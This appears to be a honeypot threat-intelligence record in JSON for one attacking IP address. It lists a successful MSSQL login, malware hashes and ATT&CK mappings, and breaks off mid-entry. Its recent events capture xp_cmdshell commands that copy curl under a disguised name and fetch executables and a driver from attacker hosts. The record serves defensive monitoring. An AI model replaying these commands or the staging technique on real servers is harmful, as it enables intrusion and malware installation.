{"ip":"172.86.74.89","data_as_of":"2026-10-26T11:42:52+00:00","observed":true,"total_events":26,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"8 interactive login(s) succeeded","confidence":"high","network_type":null,"why":["8 interactive session(s) logged in successfully.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","The first-packet sensors recorded 26 event(s) from this address as well.","Not in any known-scanner range.","Sent 32,943 bytes, which is sustained payload delivery."],"engagement":{"level":"payload","label":"Sustained payload","detail":"32,943 bytes sent","bytes_sent":32943,"session_seconds":4,"persistent":false},"basis":"interactive"},"first_seen":"2026-10-11T16:20:08","last_seen":"2026-10-21T14:45:15","events_24h":0,"events_7d":6,"interactive_sessions":50,"interactive_sessions_24h":0,"interactive_sessions_7d":37,"interactive_protocols":[{"protocol":"oracle-tns","sessions":31},{"protocol":"mssql","sessions":10},{"protocol":"postgres","sessions":8},{"protocol":"redis","sessions":1}],"geo":{"country_code":"US","country_name":"United States","region":"Texas","city":"Dallas","lat":32.7212,"lon":-96.6765,"asn":14956,"org":"RouterHosting LLC"},"source_domain":"89.74.86.172.static.cloudzy.com","known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5","family":"vulndriver","vt_name":"WinRing0.sys","malicious":5,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":1433,"hits":2,"last_seen":"2026-10-21 14:00:50"},{"sha256":"db13c42b90de58e9e12a98d6fee80de1b41846d065f06791cd06e6def110dc30","family":"bypassuac","vt_name":"dfsvc.exe","malicious":52,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":1433,"hits":1,"last_seen":"2026-10-19 09:48:50"},{"sha256":"2a23e10bfc097e98295cbff8124bd403c4cb677e709b48ccc53d6aca216c3061","family":"themida","vt_name":"SecEdit.exe","malicious":46,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":1433,"hits":1,"last_seen":"2026-10-17 17:29:11"}],"udp":null,"interaction":{"window_days":90,"sessions":50,"first_seen":"2026-10-14T20:47:50","last_seen":"2026-10-21T14:45:15","verdicts":[{"verdict":"scan","sessions":42},{"verdict":"exploit-attempt","sessions":8}],"personas":[{"persona":"oracle@11.2.0.4","sessions":31},{"persona":"mssql@15.0.4345.5","sessions":10},{"persona":"postgres@12.18","sessions":8},{"persona":"redis@6.2.14","sessions":1}],"services":[{"protocol":"oracle-tns","port":1521,"sessions":31},{"protocol":"mssql","port":1433,"sessions":10},{"protocol":"postgres","port":5432,"sessions":8},{"protocol":"redis","port":6379,"sessions":1}],"logins":[{"username":"sa","password":"ASD@123","password_sent":true,"service":"mssql-login","outcome":"success","tries":8,"last_seen":"2026-10-21T14:45:13"}],"commands":[],"downloads":[{"url":"[http]://172[.]86[.]74[.]89:18999/test/WinRing0x64.sys","host":"172[.]86[.]74[.]89","sessions":5,"first_seen":"2026-10-21T14:00:50","last_seen":"2026-10-21T14:45:15","virustotal":{"sha256":"11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5","status":"known","malicious":5,"total":75,"name":"WinRing0.sys"}},{"url":"[http]://site[.]vietnam852[.]com:88/test/WinRing0x64.sys","host":"site[.]vietnam852[.]com","sessions":5,"first_seen":"2026-10-21T14:00:50","last_seen":"2026-10-21T14:45:15","virustotal":null},{"url":"[http]://site[.]vietnam852[.]com:88/test/MicrosoftEdgeUpdate.exe","host":"site[.]vietnam852[.]com","sessions":5,"first_seen":"2026-10-17T17:29:11","last_seen":"2026-10-21T14:45:15","virustotal":{"sha256":"2a23e10bfc097e98295cbff8124bd403c4cb677e709b48ccc53d6aca216c3061","status":"known","malicious":46,"total":75,"name":"SecEdit.exe"}},{"url":"[http]://172[.]86[.]74[.]89:18999/test/MicrosoftEdgeUpdate.exe","host":"172[.]86[.]74[.]89","sessions":4,"first_seen":"2026-10-19T09:48:50","last_seen":"2026-10-21T14:45:15","virustotal":null},{"url":"[http]://site[.]vietnam852[.]com:88/down.exe","host":"site[.]vietnam852[.]com","sessions":3,"first_seen":"2026-10-17T17:29:11","last_seen":"2026-10-19T10:33:45","virustotal":null},{"url":"[http]://172[.]86[.]74[.]89:18999/down.exe","host":"172[.]86[.]74[.]89","sessions":2,"first_seen":"2026-10-19T09:48:50","last_seen":"2026-10-19T10:33:45","virustotal":null}],"files":[{"sha256":"9dcf0dbc867104f594af9c8278893777377fb496cc4e613a3677a9ca68cd0df0","name":"query","size":13,"mime_type":"text/plain","kind":"mssql-query","times":8,"first_seen":"2026-10-17T17:29:10","last_seen":"2026-10-21T14:45:14","virustotal":null},{"sha256":"f9101e74fc4dfd4604df4d20489b6cee3da64110203c8ad65201d6913f6653ab","name":"query","size":10,"mime_type":"text/plain","kind":"mssql-query","times":8,"first_seen":"2026-10-17T17:29:10","last_seen":"2026-10-21T14:45:14","virustotal":null},{"sha256":"c09d5bacaddb0a91c80eaff19872c993a393f0d94388600ca2d7999d7b6624e2","name":"query","size":237,"mime_type":"text/plain","kind":"mssql-query","times":8,"first_seen":"2026-10-17T17:29:10","last_seen":"2026-10-21T14:45:13","virustotal":null},{"sha256":"cc1b1ae1ca528d1be9df100616f58b215cf823e82e07193a32a694e18dedca29","name":"query","size":82,"mime_type":"text/plain","kind":"mssql-query","times":4,"first_seen":"2026-10-21T14:27:57","last_seen":"2026-10-21T14:45:15","virustotal":null},{"sha256":"5d380c49fa8c31b9a44bb35afb9603e882553578d5d87f0ed70842922a45c3ac","name":"query","size":332,"mime_type":"text/plain","kind":"mssql-query","times":3,"first_seen":"2026-10-21T14:00:49","last_seen":"2026-10-21T14:06:36","virustotal":null},{"sha256":"9a6cd0b6772b22aab932fff0c18f9bf313509656c42df47784d97b630c4ea1bf","name":"query","size":64,"mime_type":"text/plain","kind":"mssql-query","times":3,"first_seen":"2026-10-17T17:29:11","last_seen":"2026-10-19T10:33:44","virustotal":null},{"sha256":"30436fc9b6b6e3c90150143121920e9e43b1b1a71d8116d882cc8b9ba63faeb0","name":"query","size":71,"mime_type":"text/plain","kind":"mssql-query","times":3,"first_seen":"2026-10-17T17:29:10","last_seen":"2026-10-19T10:33:44","virustotal":null},{"sha256":"0a643cbde311f7bacc14d0eaabfb57c7d96a8d51fdd1a86fdfdb16e1fb5b4e34","name":"query","size":428,"mime_type":"text/plain","kind":"mssql-query","times":3,"first_seen":"2026-10-17T17:29:10","last_seen":"2026-10-19T10:33:44","virustotal":null},{"sha256":"110b0b317345f7f3ddc58cf0da98a503ce0fb44aee216a2bb9b1113e7d9c2159","name":"query","size":25,"mime_type":"text/plain","kind":"mssql-query","times":3,"first_seen":"2026-10-17T17:29:10","last_seen":"2026-10-19T10:33:44","virustotal":null},{"sha256":"a5479336f322c23ead4e3eaecceaab57431a2a5b072424035ae7e91ef09898ad","name":"query","size":340,"mime_type":"text/plain","kind":"mssql-query","times":2,"first_seen":"2026-10-21T14:27:57","last_seen":"2026-10-21T14:45:15","virustotal":null},{"sha256":"96197fb6ac78479409d5530c6cec4ad34c61fd320f786928886b13df6ace4f59","name":"query","size":87,"mime_type":"text/plain","kind":"mssql-query","times":2,"first_seen":"2026-10-21T14:27:57","last_seen":"2026-10-21T14:45:14","virustotal":null},{"sha256":"267a290e051d4c416544545d960898a7fc17ba98e9519d51d95f6e9004164707","name":"query","size":334,"mime_type":"text/plain","kind":"mssql-query","times":2,"first_seen":"2026-10-21T14:27:56","last_seen":"2026-10-21T14:45:14","virustotal":null},{"sha256":"849b4e77d8579fd94296433931426e69e05d0428cf390898ca6e05b3ee043d9e","name":"query","size":338,"mime_type":"text/plain","kind":"mssql-query","times":2,"first_seen":"2026-10-19T09:48:50","last_seen":"2026-10-19T10:33:44","virustotal":null},{"sha256":"7bb667d91e5ac1dacd2a1cc69651088feee3b36395cef4d9ce07edd3d91845f5","name":"query","size":312,"mime_type":"text/plain","kind":"mssql-query","times":2,"first_seen":"2026-10-19T09:48:49","last_seen":"2026-10-19T10:33:44","virustotal":null},{"sha256":"ece2154e1517ea5debfd1ad0dd8ef3470fb23d5ee5243d27f6d19451b6763b70","name":"packet-1","size":238,"mime_type":"text/plain","kind":"oracle-data","times":1,"first_seen":"2026-10-20T14:01:44","last_seen":"2026-10-20T14:01:44","virustotal":null},{"sha256":"a67aa6e98ca6cd952742bf5e3926ebc474c0d1efc2872a5a8efacc00d2623eec","name":"packet-1","size":238,"mime_type":"text/plain","kind":"oracle-data","times":1,"first_seen":"2026-10-20T14:01:44","last_seen":"2026-10-20T14:01:44","virustotal":null},{"sha256":"6b245d6e7b8b85d99b505966c35bc51cf2fad25876ef76528e67c31391e0ee9b","name":"packet-1","size":238,"mime_type":"text/plain","kind":"oracle-data","times":1,"first_seen":"2026-10-20T14:01:44","last_seen":"2026-10-20T14:01:44","virustotal":null},{"sha256":"55c7a41d5eac159839e8643591513a183d2d1d696a42210b3a4b9704e4469e96","name":"packet-1","size":238,"mime_type":"text/plain","kind":"oracle-data","times":1,"first_seen":"2026-10-20T14:01:43","last_seen":"2026-10-20T14:01:43","virustotal":null},{"sha256":"24587f2de6fa620829edcc927f2df4ac61d0e60762aab909450bc7e9eaa7c78a","name":"packet-1","size":238,"mime_type":"text/plain","kind":"oracle-data","times":1,"first_seen":"2026-10-20T14:01:43","last_seen":"2026-10-20T14:01:43","virustotal":null},{"sha256":"a5f6374ee50206956f155765547f1922061084bde1dd2711072a3b1ca35557d7","name":"packet-1","size":238,"mime_type":"text/plain","kind":"oracle-data","times":1,"first_seen":"2026-10-20T14:01:43","last_seen":"2026-10-20T14:01:43","virustotal":null},{"sha256":"640e5a04164f368006c203c20e8c97a8ccf5b4f7b3b8d954df4de89275c26f6a","name":"packet-1","size":238,"mime_type":"text/plain","kind":"oracle-data","times":1,"first_seen":"2026-10-20T14:01:42","last_seen":"2026-10-20T14:01:42","virustotal":null},{"sha256":"e1376d559e1cc86afed3ceaf9b62a5859b63a04808214bb3a768711010bdb9ed","name":"packet-1","size":238,"mime_type":"text/plain","kind":"oracle-data","times":1,"first_seen":"2026-10-20T14:01:42","last_seen":"2026-10-20T14:01:42","virustotal":null},{"sha256":"1216fbdc592f27a707ba2f0efb94f0735e91f365b85f3763f1a7934b3714c048","name":"packet-1","size":238,"mime_type":"text/plain","kind":"oracle-data","times":1,"first_seen":"2026-10-20T14:01:42","last_seen":"2026-10-20T14:01:42","virustotal":null},{"sha256":"89f66168e445752fa0a84a49f655651ee506073986291c7736ca36f408780a12","name":"packet-1","size":238,"mime_type":"text/plain","kind":"oracle-data","times":1,"first_seen":"2026-10-20T14:01:41","last_seen":"2026-10-20T14:01:41","virustotal":null},{"sha256":"42e13bdffba681e1937232915fb4baf5b3d060377cbf0b64a985157f3d4d7407","name":"packet-1","size":243,"mime_type":"text/plain","kind":"oracle-data","times":1,"first_seen":"2026-10-20T14:01:41","last_seen":"2026-10-20T14:01:41","virustotal":null}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":42},{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":8},{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":8},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":8},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":8}]},"top_ports":[{"port":1521,"proto":"tcp","label":"Oracle","count":6,"sessions":31},{"port":5432,"proto":"tcp","label":"Postgres","count":20,"sessions":8},{"port":1433,"proto":"tcp","label":"MSSQL","count":0,"sessions":10},{"port":6379,"proto":"tcp","label":"Redis","count":0,"sessions":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-11","count":1,"sessions":0},{"date":"2026-10-12","count":4,"sessions":0},{"date":"2026-10-13","count":3,"sessions":0},{"date":"2026-10-14","count":3,"sessions":1},{"date":"2026-10-15","count":3,"sessions":2},{"date":"2026-10-16","count":4,"sessions":6},{"date":"2026-10-17","count":2,"sessions":2},{"date":"2026-10-19","count":0,"sessions":2},{"date":"2026-10-20","count":6,"sessions":32},{"date":"2026-10-21","count":0,"sessions":5}],"recent_events":[{"timestamp":"2026-10-21T14:45:15","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u0000�\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000E\u0000X\u0000E\u0000C\u0000 \u0000x\u0000p\u0000_\u0000c\u0000m\u0000d\u0000s\u0000h\u0000e\u0000l\u0000l\u0000 \u0000'\u0000c\u0000m\u0000d\u0000 \u0000/\u0000c\u0000 \u0000\"\u0000f\u0000o\u0000r\u0000 \u0000%\u0000F\u0000 \u0000i\u0000n\u0000 \u0000(\u0000\"\u0000C\u0000:\u0000\\\u0000U\u0000s\u0000e\u0000r\u0000s\u0000\\\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000\\\u0000m\u0000s\u0000e\u0000d\u0000g\u0000e\u0000.\u0000e\u0000x\u0000e\u0000\"\u0000)\u0000 \u0000d\u0000o\u0000 \u0000@\u0000e\u0000c\u0000h\u0000o\u0000 \u0000%\u0000~\u0000z\u0000F\u0000\"\u0000'\u0000","payload_hex":"010100c2000001001600000012000000020000000000000000000100000045005800450043002000780070005f0063006d0064007300680065006c006c002000270063006d00640020002f0063002000220066006f007200200025004600200069006e0020002800220043003a005c00550073006500720073005c005000750062006c00690063005c006d00730065006400670065002e0065007800650022002900200064006f00200040006500630068006f00200025007e007a00460022002700","method":"","user_agent":"","ja3":"","session":"ec96f0a5-20b2-4b07-8f12-a99256555b96-19","seq":19,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"a7afcc6e365af851","strings":["EXEC xp_cmdshell 'cmd /c \"for %F in (\"C:\\Users\\Public\\msedge.exe\") do @echo %~zF…"],"iocs":{"domains":["msedge.exe"]}},"interactive":true},{"timestamp":"2026-10-21T14:45:15","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u0002�\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000E\u0000X\u0000E\u0000C\u0000 \u0000x\u0000p\u0000_\u0000c\u0000m\u0000d\u0000s\u0000h\u0000e\u0000l\u0000l\u0000 \u0000'\u0000c\u0000o\u0000p\u0000y\u0000 \u0000/\u0000y\u0000 \u0000C\u0000:\u0000\\\u0000W\u0000i\u0000n\u0000d\u0000o\u0000w\u0000s\u0000\\\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u00003\u00002\u0000\\\u0000c\u0000u\u0000r\u0000l\u0000.\u0000e\u0000x\u0000e\u0000 \u0000C\u0000:\u0000\\\u0000U\u0000s\u0000e\u0000r\u0000s\u0000\\\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000\\\u0000c\u0000o\u0000n\u0000h\u0000o\u0000s\u0000t\u0000.\u0000e\u0000x\u0000e\u0000 \u0000>\u0000n\u0000u\u0000l\u0000 \u00002\u0000>\u0000&\u00001\u0000 \u0000&\u0000 \u0000C\u0000:\u0000\\\u0000U\u0000s\u0000e\u0000r\u0000s\u0000\\\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000\\\u0000c\u0000o\u0000n\u0000h\u0000o\u0000s\u0000t\u0000.\u0000e\u0000x\u0000e\u0000 \u0000-\u0000s\u0000f\u0000 \u0000-\u0000o\u0000 \u0000\"\u0000C\u0000:\u0000\\\u0000U\u0000s\u0000e\u0000r\u0000s\u0000\\\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000\\\u0000m\u0000s\u0000e\u0000d\u0000g\u0000e\u0000.\u0000e\u0000x\u0000e\u0000\"\u0000 \u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u00001\u00007\u00002\u0000.\u00008\u00006\u0000.\u00007\u00004\u0000.\u00008\u00009\u0000:\u00001\u00008\u00009\u00009\u00009\u0000/\u0000t\u0000e\u0000s\u0000t\u0000/\u0000M\u0000i\u0000c\u0000r\u0000o\u0000s\u0000o\u0000f\u0000t\u0000E\u0000d\u0000g\u0000e\u0000U\u0000p\u0000d\u0000a\u0000t\u0000e\u0000.\u0000e\u0000x\u0000e\u0000 \u0000|\u0000|\u0000 \u0000C\u0000:\u0000\\\u0000U\u0000s\u0000e\u0000r\u0000s\u0000\\\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000\\\u0000c\u0000o\u0000n\u0000h\u0000o\u0000s\u0000t\u0000.\u0000e\u0000x\u0000e\u0000 \u0000-\u0000s\u0000f\u0000 \u0000-\u0000o\u0000 \u0000\"\u0000C\u0000:\u0000\\\u0000U\u0000s\u0000e\u0000r\u0000s\u0000\\\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000\\\u0000m\u0000s\u0000e\u0000d\u0000g\u0000e\u0000.\u0000e\u0000x\u0000e\u0000\"\u0000 \u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u0000s\u0000i\u0000t\u0000e\u0000.\u0000v\u0000i\u0000e\u0000t\u0000n\u0000a\u0000m\u00008\u00005\u00002\u0000.\u0000c\u0000o\u0000m\u0000:\u00008\u00008\u0000/\u0000t\u0000e\u0000s\u0000t\u0000/\u0000M\u0000i\u0000c\u0000r\u0000o\u0000s\u0000o\u0000f\u0000t\u0000E\u0000d\u0000g\u0000e\u0000U\u0000p\u0000d\u0000a\u0000t\u0000e\u0000.\u0000e\u0000x\u0000e\u0000'\u0000","payload_hex":"010102c6000001001600000012000000020000000000000000000100000045005800450043002000780070005f0063006d0064007300680065006c006c002000270063006f007000790020002f007900200043003a005c00570069006e0064006f00770073005c00530079007300740065006d00330032005c006300750072006c002e00650078006500200043003a005c00550073006500720073005c005000750062006c00690063005c0063006f006e0068006f00730074002e0065007800650020003e006e0075006c00200032003e002600310020002600200043003a005c00550073006500720073005c005000750062006c00690063005c0063006f006e0068006f00730074002e0065007800650020002d007300660020002d006f002000220043003a005c00550073006500720073005c005000750062006c00690063005c006d00730065006400670065002e006500780065002200200068007400740070003a002f002f003100370032002e00380036002e00370034002e00380039003a00310038003900390039002f0074006500730074002f004d006900630072006f0073006f006600740045006400670065005500700064006100740065002e0065007800650020007c007c00200043003a005c00550073006500720073005c005000750062006c00690063005c0063006f006e0068006f00730074002e0065007800650020002d007300660020002d006f002000220043003a005c00550073006500720073005c005000750062006c00690063005c006d00730065006400670065002e006500780065002200200068007400740070003a002f002f0073006900740065002e0076006900650074006e0061006d003800350032002e0063006f006d003a00380038002f0074006500730074002f004d006900630072006f0073006f006600740045006400670065005500700064006100740065002e006500780065002700","method":"","user_agent":"","ja3":"","session":"ec96f0a5-20b2-4b07-8f12-a99256555b96-17","seq":17,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"520aa951b1ecbdf7","strings":["EXEC xp_cmdshell 'copy /y C:\\Windows\\System32\\curl.exe C:\\Users\\Public\\conhost.e…"],"iocs":{"domains":["curl.exe"]}},"interactive":true},{"timestamp":"2026-10-21T14:45:15","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u0000�\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000E\u0000X\u0000E\u0000C\u0000 \u0000x\u0000p\u0000_\u0000c\u0000m\u0000d\u0000s\u0000h\u0000e\u0000l\u0000l\u0000 \u0000'\u0000c\u0000m\u0000d\u0000 \u0000/\u0000c\u0000 \u0000\"\u0000f\u0000o\u0000r\u0000 \u0000%\u0000F\u0000 \u0000i\u0000n\u0000 \u0000(\u0000\"\u0000C\u0000:\u0000\\\u0000U\u0000s\u0000e\u0000r\u0000s\u0000\\\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000\\\u0000m\u0000s\u0000e\u0000d\u0000g\u0000e\u0000.\u0000e\u0000x\u0000e\u0000\"\u0000)\u0000 \u0000d\u0000o\u0000 \u0000@\u0000e\u0000c\u0000h\u0000o\u0000 \u0000%\u0000~\u0000z\u0000F\u0000\"\u0000'\u0000","payload_hex":"010100c2000001001600000012000000020000000000000000000100000045005800450043002000780070005f0063006d0064007300680065006c006c002000270063006d00640020002f0063002000220066006f007200200025004600200069006e0020002800220043003a005c00550073006500720073005c005000750062006c00690063005c006d00730065006400670065002e0065007800650022002900200064006f00200040006500630068006f00200025007e007a00460022002700","method":"","user_agent":"","ja3":"","session":"ec96f0a5-20b2-4b07-8f12-a99256555b96-15","seq":15,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"a7afcc6e365af851","strings":["EXEC xp_cmdshell 'cmd /c \"for %F in (\"C:\\Users\\Public\\msedge.exe\") do @echo %~zF…"],"iocs":{"domains":["msedge.exe"]}},"interactive":true},{"timestamp":"2026-10-21T14:45:15","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u0000�\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000E\u0000X\u0000E\u0000C\u0000 \u0000x\u0000p\u0000_\u0000c\u0000m\u0000d\u0000s\u0000h\u0000e\u0000l\u0000l\u0000 \u0000'\u0000c\u0000m\u0000d\u0000 \u0000/\u0000c\u0000 \u0000\"\u0000f\u0000o\u0000r\u0000 \u0000%\u0000F\u0000 \u0000i\u0000n\u0000 \u0000(\u0000\"\u0000C\u0000:\u0000\\\u0000U\u0000s\u0000e\u0000r\u0000s\u0000\\\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000\\\u0000W\u0000i\u0000n\u0000R\u0000i\u0000n\u0000g\u00000\u0000x\u00006\u00004\u0000.\u0000s\u0000y\u0000s\u0000\"\u0000)\u0000 \u0000d\u0000o\u0000 \u0000@\u0000e\u0000c\u0000h\u0000o\u0000 \u0000%\u0000~\u0000z\u0000F\u0000\"\u0000'\u0000","payload_hex":"010100cc000001001600000012000000020000000000000000000100000045005800450043002000780070005f0063006d0064007300680065006c006c002000270063006d00640020002f0063002000220066006f007200200025004600200069006e0020002800220043003a005c00550073006500720073005c005000750062006c00690063005c00570069006e00520069006e00670030007800360034002e0073007900730022002900200064006f00200040006500630068006f00200025007e007a00460022002700","method":"","user_agent":"","ja3":"","session":"ec96f0a5-20b2-4b07-8f12-a99256555b96-13","seq":13,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"64baa5935f79ef7d","strings":["EXEC xp_cmdshell 'cmd /c \"for %F in (\"C:\\Users\\Public\\WinRing0x64.sys\") do @echo…"],"iocs":{"domains":["winring0x64.sys"]}},"interactive":true},{"timestamp":"2026-10-21T14:45:14","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u0002�\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000E\u0000X\u0000E\u0000C\u0000 \u0000x\u0000p\u0000_\u0000c\u0000m\u0000d\u0000s\u0000h\u0000e\u0000l\u0000l\u0000 \u0000'\u0000c\u0000o\u0000p\u0000y\u0000 \u0000/\u0000y\u0000 \u0000C\u0000:\u0000\\\u0000W\u0000i\u0000n\u0000d\u0000o\u0000w\u0000s\u0000\\\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u00003\u00002\u0000\\\u0000c\u0000u\u0000r\u0000l\u0000.\u0000e\u0000x\u0000e\u0000 \u0000C\u0000:\u0000\\\u0000U\u0000s\u0000e\u0000r\u0000s\u0000\\\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000\\\u0000c\u0000o\u0000n\u0000h\u0000o\u0000s\u0000t\u0000.\u0000e\u0000x\u0000e\u0000 \u0000>\u0000n\u0000u\u0000l\u0000 \u00002\u0000>\u0000&\u00001\u0000 \u0000&\u0000 \u0000C\u0000:\u0000\\\u0000U\u0000s\u0000e\u0000r\u0000s\u0000\\\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000\\\u0000c\u0000o\u0000n\u0000h\u0000o\u0000s\u0000t\u0000.\u0000e\u0000x\u0000e\u0000 \u0000-\u0000s\u0000f\u0000 \u0000-\u0000o\u0000 \u0000\"\u0000C\u0000:\u0000\\\u0000U\u0000s\u0000e\u0000r\u0000s\u0000\\\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000\\\u0000W\u0000i\u0000n\u0000R\u0000i\u0000n\u0000g\u00000\u0000x\u00006\u00004\u0000.\u0000s\u0000y\u0000s\u0000\"\u0000 \u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u00001\u00007\u00002\u0000.\u00008\u00006\u0000.\u00007\u00004\u0000.\u00008\u00009\u0000:\u00001\u00008\u00009\u00009\u00009\u0000/\u0000t\u0000e\u0000s\u0000t\u0000/\u0000W\u0000i\u0000n\u0000R\u0000i\u0000n\u0000g\u00000\u0000x\u00006\u00004\u0000.\u0000s\u0000y\u0000s\u0000 \u0000|\u0000|\u0000 \u0000C\u0000:\u0000\\\u0000U\u0000s\u0000e\u0000r\u0000s\u0000\\\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000\\\u0000c\u0000o\u0000n\u0000h\u0000o\u0000s\u0000t\u0000.\u0000e\u0000x\u0000e\u0000 \u0000-\u0000s\u0000f\u0000 \u0000-\u0000o\u0000 \u0000\"\u0000C\u0000:\u0000\\\u0000U\u0000s\u0000e\u0000r\u0000s\u0000\\\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000\\\u0000W\u0000i\u0000n\u0000R\u0000i\u0000n\u0000g\u00000\u0000x\u00006\u00004\u0000.\u0000s\u0000y\u0000s\u0000\"\u0000 \u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u0000s\u0000i\u0000t\u0000e\u0000.\u0000v\u0000i\u0000e\u0000t\u0000n\u0000a\u0000m\u00008\u00005\u00002\u0000.\u0000c\u0000o\u0000m\u0000:\u00008\u00008\u0000/\u0000t\u0000e\u0000s\u0000t\u0000/\u0000W\u0000i\u0000n\u0000R\u0000i\u0000n\u0000g\u00000\u0000x\u00006\u00004\u0000.\u0000s\u0000y\u0000s\u0000'\u0000","payload_hex":"010102ba000001001600000012000000020000000000000000000100000045005800450043002000780070005f0063006d0064007300680065006c006c002000270063006f007000790020002f007900200043003a005c00570069006e0064006f00770073005c00530079007300740065006d00330032005c006300750072006c002e00650078006500200043003a005c00550073006500720073005c005000750062006c00690063005c0063006f006e0068006f00730074002e0065007800650020003e006e0075006c00200032003e002600310020002600200043003a005c00550073006500720073005c005000750062006c00690063005c0063006f006e0068006f00730074002e0065007800650020002d007300660020002d006f002000220043003a005c00550073006500720073005c005000750062006c00690063005c00570069006e00520069006e00670030007800360034002e007300790073002200200068007400740070003a002f002f003100370032002e00380036002e00370034002e00380039003a00310038003900390039002f0074006500730074002f00570069006e00520069006e00670030007800360034002e0073007900730020007c007c00200043003a005c00550073006500720073005c005000750062006c00690063005c0063006f006e0068006f00730074002e0065007800650020002d007300660020002d006f002000220043003a005c00550073006500720073005c005000750062006c00690063005c00570069006e00520069006e00670030007800360034002e007300790073002200200068007400740070003a002f002f0073006900740065002e0076006900650074006e0061006d003800350032002e0063006f006d003a00380038002f0074006500730074002f00570069006e00520069006e00670030007800360034002e007300790073002700","method":"","user_agent":"","ja3":"","session":"ec96f0a5-20b2-4b07-8f12-a99256555b96-11","seq":11,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"f968b4b78092b1c0","strings":["EXEC xp_cmdshell 'copy /y C:\\Windows\\System32\\curl.exe C:\\Users\\Public\\conhost.e…"],"iocs":{"domains":["curl.exe"]}},"interactive":true},{"timestamp":"2026-10-21T14:45:14","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u00008\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000R\u0000O\u0000L\u0000L\u0000B\u0000A\u0000C\u0000K\u0000 